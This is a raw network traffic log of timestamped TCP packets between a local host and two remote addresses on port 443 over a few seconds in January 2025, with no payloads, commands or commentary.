Jan 22, 2025 07:24:05.621695042 CET	443	49746	104.17.24.14	192.168.2.4
Jan 22, 2025 07:24:05.624545097 CET	49748	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:05.624651909 CET	443	49748	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:05.624787092 CET	49748	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:05.625380993 CET	49748	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:05.625415087 CET	443	49748	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:05.662319899 CET	49746	443	192.168.2.4	104.17.24.14
Jan 22, 2025 07:24:05.662331104 CET	443	49746	104.17.24.14	192.168.2.4
Jan 22, 2025 07:24:05.708103895 CET	443	49746	104.17.24.14	192.168.2.4
Jan 22, 2025 07:24:05.708192110 CET	49746	443	192.168.2.4	104.17.24.14
Jan 22, 2025 07:24:05.708199024 CET	443	49746	104.17.24.14	192.168.2.4
Jan 22, 2025 07:24:05.708226919 CET	443	49746	104.17.24.14	192.168.2.4
Jan 22, 2025 07:24:05.708275080 CET	49746	443	192.168.2.4	104.17.24.14
Jan 22, 2025 07:24:05.708327055 CET	443	49746	104.17.24.14	192.168.2.4
Jan 22, 2025 07:24:05.708473921 CET	443	49746	104.17.24.14	192.168.2.4
Jan 22, 2025 07:24:05.708518028 CET	49746	443	192.168.2.4	104.17.24.14
Jan 22, 2025 07:24:05.708525896 CET	443	49746	104.17.24.14	192.168.2.4
Jan 22, 2025 07:24:05.708674908 CET	443	49746	104.17.24.14	192.168.2.4
Jan 22, 2025 07:24:05.708719015 CET	49746	443	192.168.2.4	104.17.24.14
Jan 22, 2025 07:24:05.708724976 CET	443	49746	104.17.24.14	192.168.2.4
Jan 22, 2025 07:24:05.708967924 CET	443	49746	104.17.24.14	192.168.2.4
Jan 22, 2025 07:24:05.709027052 CET	49746	443	192.168.2.4	104.17.24.14
Jan 22, 2025 07:24:05.709033012 CET	443	49746	104.17.24.14	192.168.2.4
Jan 22, 2025 07:24:05.709108114 CET	443	49746	104.17.24.14	192.168.2.4
Jan 22, 2025 07:24:05.709151030 CET	49746	443	192.168.2.4	104.17.24.14
Jan 22, 2025 07:24:05.709156990 CET	443	49746	104.17.24.14	192.168.2.4
Jan 22, 2025 07:24:05.709258080 CET	443	49746	104.17.24.14	192.168.2.4
Jan 22, 2025 07:24:05.709299088 CET	49746	443	192.168.2.4	104.17.24.14
Jan 22, 2025 07:24:05.709304094 CET	443	49746	104.17.24.14	192.168.2.4
Jan 22, 2025 07:24:05.710031033 CET	443	49746	104.17.24.14	192.168.2.4
Jan 22, 2025 07:24:05.710088968 CET	49746	443	192.168.2.4	104.17.24.14
Jan 22, 2025 07:24:05.710094929 CET	443	49746	104.17.24.14	192.168.2.4
Jan 22, 2025 07:24:05.710166931 CET	443	49746	104.17.24.14	192.168.2.4
Jan 22, 2025 07:24:05.710205078 CET	49746	443	192.168.2.4	104.17.24.14
Jan 22, 2025 07:24:05.710211039 CET	443	49746	104.17.24.14	192.168.2.4
Jan 22, 2025 07:24:05.710751057 CET	443	49746	104.17.24.14	192.168.2.4
Jan 22, 2025 07:24:05.710810900 CET	49746	443	192.168.2.4	104.17.24.14
Jan 22, 2025 07:24:05.710817099 CET	443	49746	104.17.24.14	192.168.2.4
Jan 22, 2025 07:24:05.710889101 CET	443	49746	104.17.24.14	192.168.2.4
Jan 22, 2025 07:24:05.710927010 CET	49746	443	192.168.2.4	104.17.24.14
Jan 22, 2025 07:24:05.710932970 CET	443	49746	104.17.24.14	192.168.2.4
Jan 22, 2025 07:24:05.748435020 CET	443	49746	104.17.24.14	192.168.2.4
Jan 22, 2025 07:24:05.748553991 CET	49746	443	192.168.2.4	104.17.24.14
Jan 22, 2025 07:24:05.748562098 CET	443	49746	104.17.24.14	192.168.2.4
Jan 22, 2025 07:24:05.800204039 CET	443	49746	104.17.24.14	192.168.2.4
Jan 22, 2025 07:24:05.800317049 CET	443	49746	104.17.24.14	192.168.2.4
Jan 22, 2025 07:24:05.800364017 CET	49746	443	192.168.2.4	104.17.24.14
Jan 22, 2025 07:24:05.800374985 CET	443	49746	104.17.24.14	192.168.2.4
Jan 22, 2025 07:24:05.800424099 CET	49746	443	192.168.2.4	104.17.24.14
Jan 22, 2025 07:24:05.800431013 CET	443	49746	104.17.24.14	192.168.2.4
Jan 22, 2025 07:24:05.800523043 CET	443	49746	104.17.24.14	192.168.2.4
Jan 22, 2025 07:24:05.800571918 CET	49746	443	192.168.2.4	104.17.24.14
Jan 22, 2025 07:24:05.800576925 CET	443	49746	104.17.24.14	192.168.2.4
Jan 22, 2025 07:24:05.800607920 CET	443	49746	104.17.24.14	192.168.2.4
Jan 22, 2025 07:24:05.800661087 CET	49746	443	192.168.2.4	104.17.24.14
Jan 22, 2025 07:24:05.800666094 CET	443	49746	104.17.24.14	192.168.2.4
Jan 22, 2025 07:24:05.800709009 CET	49746	443	192.168.2.4	104.17.24.14
Jan 22, 2025 07:24:05.800714016 CET	443	49746	104.17.24.14	192.168.2.4
Jan 22, 2025 07:24:05.800898075 CET	443	49746	104.17.24.14	192.168.2.4
Jan 22, 2025 07:24:05.800949097 CET	49746	443	192.168.2.4	104.17.24.14
Jan 22, 2025 07:24:05.801027060 CET	49746	443	192.168.2.4	104.17.24.14
Jan 22, 2025 07:24:05.801042080 CET	443	49746	104.17.24.14	192.168.2.4
Jan 22, 2025 07:24:06.239774942 CET	443	49748	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:06.240089893 CET	49748	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:06.240158081 CET	443	49748	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:06.241256952 CET	443	49748	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:06.241561890 CET	49748	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:06.241686106 CET	49748	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:06.241699934 CET	443	49748	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:06.241745949 CET	443	49748	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:06.286617994 CET	49748	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:06.378940105 CET	443	49748	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:06.379031897 CET	443	49748	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:06.379177094 CET	443	49748	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:06.379231930 CET	443	49748	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:06.379276037 CET	49748	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:06.379379034 CET	443	49748	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:06.379430056 CET	49748	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:06.380072117 CET	443	49748	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:06.380131960 CET	49748	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:06.380151987 CET	443	49748	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:06.381064892 CET	443	49748	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:06.381134033 CET	49748	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:06.381148100 CET	443	49748	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:06.381753922 CET	443	49748	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:06.381814003 CET	49748	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:06.381828070 CET	443	49748	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:06.426985025 CET	49748	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:06.427047968 CET	443	49748	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:06.470999956 CET	443	49748	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:06.471091032 CET	49748	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:06.471095085 CET	443	49748	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:06.471155882 CET	443	49748	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:06.471246958 CET	443	49748	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:06.471302986 CET	49748	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:06.471348047 CET	443	49748	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:06.471410036 CET	49748	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:06.471421957 CET	443	49748	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:06.472031116 CET	443	49748	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:06.472090006 CET	49748	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:06.472105026 CET	443	49748	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:06.472182989 CET	443	49748	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:06.472263098 CET	443	49748	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:06.472320080 CET	49748	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:06.472326994 CET	443	49748	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:06.472377062 CET	49748	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:06.472955942 CET	443	49748	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:06.473109961 CET	443	49748	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:06.473193884 CET	443	49748	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:06.473238945 CET	49748	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:06.473244905 CET	443	49748	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:06.473295927 CET	49748	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:06.473299980 CET	443	49748	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:06.473711014 CET	443	49748	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:06.473795891 CET	443	49748	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:06.473848104 CET	49748	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:06.473854065 CET	443	49748	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:06.473903894 CET	49748	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:06.473907948 CET	443	49748	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:06.474008083 CET	443	49748	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:06.474325895 CET	49748	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:06.474332094 CET	443	49748	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:06.476089954 CET	443	49748	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:06.476141930 CET	49748	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:06.476146936 CET	443	49748	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:06.476289034 CET	443	49748	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:06.476424932 CET	49748	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:06.476654053 CET	49748	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:06.476665974 CET	443	49748	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:06.491537094 CET	49749	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:06.491631985 CET	443	49749	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:06.491940022 CET	49749	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:06.492333889 CET	49749	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:06.492381096 CET	443	49749	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:06.499773979 CET	49750	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:06.499821901 CET	443	49750	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:06.499896049 CET	49750	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:06.500021935 CET	49750	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:06.500039101 CET	443	49750	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:06.977991104 CET	443	49749	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:06.999078035 CET	443	49750	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.025048971 CET	49749	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.050657988 CET	49750	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.068167925 CET	49749	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.068227053 CET	443	49749	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.068244934 CET	49750	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.068279982 CET	443	49750	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.071650982 CET	443	49749	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.071856022 CET	49749	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.072246075 CET	443	49750	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.072288036 CET	443	49750	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.072321892 CET	49750	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.076620102 CET	49750	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.076721907 CET	443	49750	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.086538076 CET	49749	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.086553097 CET	49750	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.086584091 CET	443	49750	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.086623907 CET	49749	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.086685896 CET	443	49749	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.126485109 CET	49749	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.126549959 CET	443	49749	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.126600981 CET	49750	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.172924042 CET	49749	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.194775105 CET	443	49749	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.194938898 CET	443	49749	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.195028067 CET	443	49749	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.195108891 CET	443	49749	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.195122957 CET	49749	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.195199966 CET	443	49749	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.195244074 CET	49749	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.195302010 CET	443	49749	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.195400953 CET	443	49749	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.195476055 CET	49749	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.195482016 CET	443	49749	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.195554018 CET	443	49749	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.195601940 CET	49749	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.197125912 CET	443	49750	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.197381973 CET	443	49750	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.197437048 CET	49750	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.197463036 CET	443	49750	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.197549105 CET	443	49750	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.197598934 CET	49750	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.197611094 CET	443	49750	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.197685957 CET	443	49750	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.197736979 CET	49750	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.197747946 CET	443	49750	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.197820902 CET	443	49750	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.197863102 CET	49750	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.197875023 CET	443	49750	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.197966099 CET	443	49750	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.198008060 CET	49750	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.198019028 CET	443	49750	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.199577093 CET	443	49749	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.199670076 CET	443	49749	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.199718952 CET	49749	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.199747086 CET	443	49749	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.199774027 CET	443	49749	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.199807882 CET	49749	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.226264000 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.226356983 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.226434946 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.226742029 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.226829052 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.246705055 CET	49750	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.246736050 CET	443	49750	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.246814966 CET	49749	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.286345005 CET	443	49749	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.286541939 CET	443	49749	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.286612988 CET	443	49749	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.286711931 CET	443	49749	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.286741018 CET	49749	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.286818027 CET	443	49749	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.286861897 CET	49749	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.286917925 CET	443	49749	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.287147999 CET	49749	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.287214041 CET	443	49749	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.287533045 CET	443	49749	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.287605047 CET	443	49749	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.287691116 CET	49749	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.287703037 CET	443	49749	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.287765026 CET	443	49749	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.287813902 CET	49749	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.288281918 CET	443	49749	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.288336992 CET	49749	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.288357019 CET	443	49749	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.288671017 CET	443	49749	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.288724899 CET	49749	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.288739920 CET	443	49749	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.288826942 CET	443	49749	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.288880110 CET	49749	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.288893938 CET	443	49749	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.289041996 CET	443	49749	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.289086103 CET	49749	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.289099932 CET	443	49749	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.289215088 CET	443	49749	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.289582014 CET	443	49749	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.289623022 CET	49749	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.289638996 CET	443	49749	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.289700031 CET	49749	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.290405989 CET	443	49750	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.290471077 CET	49750	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.290494919 CET	443	49750	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.290575981 CET	443	49750	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.290628910 CET	49750	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.290641069 CET	443	49750	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.290738106 CET	443	49750	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.290779114 CET	49750	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.290791035 CET	443	49750	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.290870905 CET	443	49750	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.290920973 CET	49750	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.290931940 CET	443	49750	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.291100979 CET	443	49750	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.291158915 CET	49750	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.291265965 CET	49750	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.291297913 CET	443	49750	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.302978039 CET	49752	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.303069115 CET	443	49752	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.303157091 CET	49752	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.303618908 CET	49752	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.303708076 CET	443	49752	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.328308105 CET	443	49749	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.328511000 CET	443	49749	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.328574896 CET	49749	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.329339981 CET	49749	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.329405069 CET	443	49749	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.723297119 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.723828077 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.723895073 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.725028038 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.725474119 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.725574017 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.725605011 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.725701094 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.769018888 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.790796995 CET	443	49752	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.791172981 CET	49752	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.791238070 CET	443	49752	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.792074919 CET	443	49752	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.792568922 CET	49752	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.792568922 CET	49752	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.792670012 CET	443	49752	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.792747974 CET	443	49752	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.835005045 CET	49752	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.849780083 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.849898100 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.849997997 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.850084066 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.850197077 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.850197077 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.850235939 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.850263119 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.850295067 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.850325108 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.850444078 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.850537062 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.850624084 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.850691080 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.850760937 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.854492903 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.898303986 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.898372889 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.927849054 CET	443	49752	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.928020000 CET	443	49752	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.928267956 CET	49752	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.928687096 CET	49752	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.928755999 CET	443	49752	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.932519913 CET	49753	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.932574034 CET	443	49753	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.932667971 CET	49753	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.932869911 CET	49753	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.932888985 CET	443	49753	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.943203926 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.943296909 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.943386078 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.943427086 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.943455935 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.943501949 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.943603039 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.943659067 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.943691969 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.943788052 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.943859100 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.943876028 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.944238901 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.944294930 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.944308043 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.944399118 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.944453955 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.944468021 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.944556952 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.944613934 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.944634914 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.944868088 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.944926023 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.944940090 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.945028067 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.945086002 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:07.945100069 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.945183992 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:07.945238113 CET	49751	443	192.168.2.4	104.18.95.41
